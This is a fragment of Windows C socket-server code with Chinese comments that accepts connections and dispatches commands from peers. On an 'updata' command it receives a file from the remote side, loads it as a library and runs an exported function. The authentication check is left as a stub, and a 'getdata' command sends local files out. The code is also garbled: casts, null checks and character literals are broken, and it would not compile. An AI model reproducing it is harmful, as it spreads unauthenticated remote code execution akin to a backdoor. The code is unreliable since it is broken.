if(peersocket==socket_error)
{
//("error! wsaasyncselect error. the request form %s can't be accepted.",inet_ntoa(sockaddrin.sin_addr));
return;
}
//将这已连接的套接口放到链表里
conninst=addconninst(peersocket, sockaddrin.sin_port, sockaddrin.sin_addr);
if (conninst==null)
{
//内存满了
//("error! memory is full! the request form %s can not be accepted",inet_ntoa(sockaddrin.sin_addr));
closesocket(peersocket);
return;
}
//("a new request from: %s is accepted on socket %d.",
inet_ntoa(sockaddrin.sin_addr), peersocket);
return;
}
void onclose(socket socket)
{
pconninst conninst;
// 检查是否已经删除了这个套接口
conninst=getconninst(socket);
if (conninst==null) return;
// it is still in stock list
// the client must have to reset the connection.
// clean up.
//("the request from %s has been closed. local socket: %d is free now.", inet_ntoa(conninst->clientip), conninst->socket);
closesocket(conninst->socket);
delconninst(conninst);
}
/* 可以读取数据了 */
void onread(socket socket)
{
pconninst conninst;
int bytesreceive;
char* pnewcmd=null;
/* 查找对应的连接实例 */
conninst=getconninst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后byebye */
if(conninst==null)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=socket_error);
closesocket(socket);
//("when ready to receive (onread), get some noise - debug");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;
}
/* 否则将所有数据读入命令堆 */
if(conninst->pcmd==null)
{
conninst->pcmd=(char*)malloc(64);
conninst->cmdlen=0;
if(conninst->pcmd==null)
{
//("before receiving data from %s, local memory overflowed.", inet_ntoa(conninst->clientip));
closesocket(conninst->socket);
delconninst(conninst);
return;
}
}
pnewcmd=(char*)malloc(64);
if(pnewcmd==null)
{
//("before receiving data from %s, local memory overflowed.", inet_ntoa(conninst->clientip));
closesocket(conninst->socket);
delconninst(conninst);
return;
}
memset(pnewcmd, 0, 64);
bytesreceive=recv(socket, pnewcmd, 64, 0);
//("收到:%d字节",bytesreceive);
if(bytesreceive==socket_error)
{
//操作此时由于windows sockets实现的资源或其它限制的制约而无法调度
if(wsagetlasterror()==wsaewouldblock) return;
//("recv() error");
//("closing socket: %d", conninst->socket);
closesocket(conninst->socket);
delconninst(conninst);
return;
}
/* 有的时候, onread消息是假的, 收到的字节数是-1, 要忽略这种情况*/
if(bytesreceive>0)
{
conninst->pcmd=(char*)realloc(conninst->pcmd, conninst->cmdlen+bytesreceive);
memcpy(&conninst->pcmd[conninst->cmdlen], pnewcmd, bytesreceive);
conninst->cmdlen+=bytesreceive;
free(pnewcmd);
dvpexpcmd(socket);
}
else
{
free(pnewcmd);
}
return;
}
void dvpexpcmd(socket s)
{
pconninst conninst=getconninst(s);
char *pthiscmd=null; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */
char *pswap=null; /* 清除命令堆旧命令交换用的指针 */
if(pthiscmd==null)
{
//("debug - 无法定义命令包起点, 函数返回, 等待命令.");
return;
}
if(pthiscmd > conninst->pcmd)
{
/*
如果前面有残余数据, 那么就立刻清除残余数据
这种情况遇到的不会多
*/
//("处理残余数据");
pswap=conninst->pcmd;
conninst->pcmd=strdup(pthiscmd);
conninst->cmdlen-=(pthiscmd-conninst->pcmd);
free(pswap);
/* 继续 */
}
lvoid pak;
while (*pthiscmd!=null)
{
pak+=*pthiscmd;
pthiscmd+=sizeof(char);
}
pdvppak *mydvp=*(dvppak*)pak;
if(mydvp->samcommand=='updata')
{/*对方传文件给我们!!*/
pfileupdata *up=*(fileupdata*)mydvp->cmd;
dword dwthread;
if(*up!=null){up->clientip=pthiscmd->clientip;
if(createthread(null,0,recvfilethreadproc, *up, 0, &dwthread)==null)//文件接受线程
{//something wrong with recv... }else
{ if(checksam(mydvp->guid,mydvp->auther)!='no')//处理权限,自己发挥吧。。。
{ int (__stdcall*) moudlestart=(void*)getprocaddress(loadlibrary(up->filename),"moudlestartme" );
moudlestart(up->cmd);//开始执行!
}}
}
free(up);
}
if(mydvp->samcommand=='getdata')
{/*2002.10.19*/
/*对方要我们的文件*/
pfileupdata *up=*(fileupdata*)mydvp->cmd;
if(up!=null){up->clientip=pthiscmd->clientip;
dword dwthread;
if(createthread(null,0,sendfilethreadproc, *up, 0, &dwthread)==null)//文件传送线程
{//something wrong with recv... }
else{/*传输samcmmand='updata',cmd=(lvoid*)up给对方*/}}
free(up);
}
if(mydvp->samcommand==null)
{
/*处理对方发来信息中有用的信息*/
/*对于我们来讲,这个问题是应该由个人处理的*/
/*对于这里我们还要给对方返回一包即我们的信息*/
/*此处需要发送消息到对方,来获得如文件之类的东西*/
}
free(pthiscmd);
free(mydvp);
return -1;
}
void onwrite(socket socket)
{
pconninst conninst;
conninst=getconninst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后byebye */
if(conninst==null)
{
char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=socket_error);
closesocket(socket);
//("when ready to send, get some noise");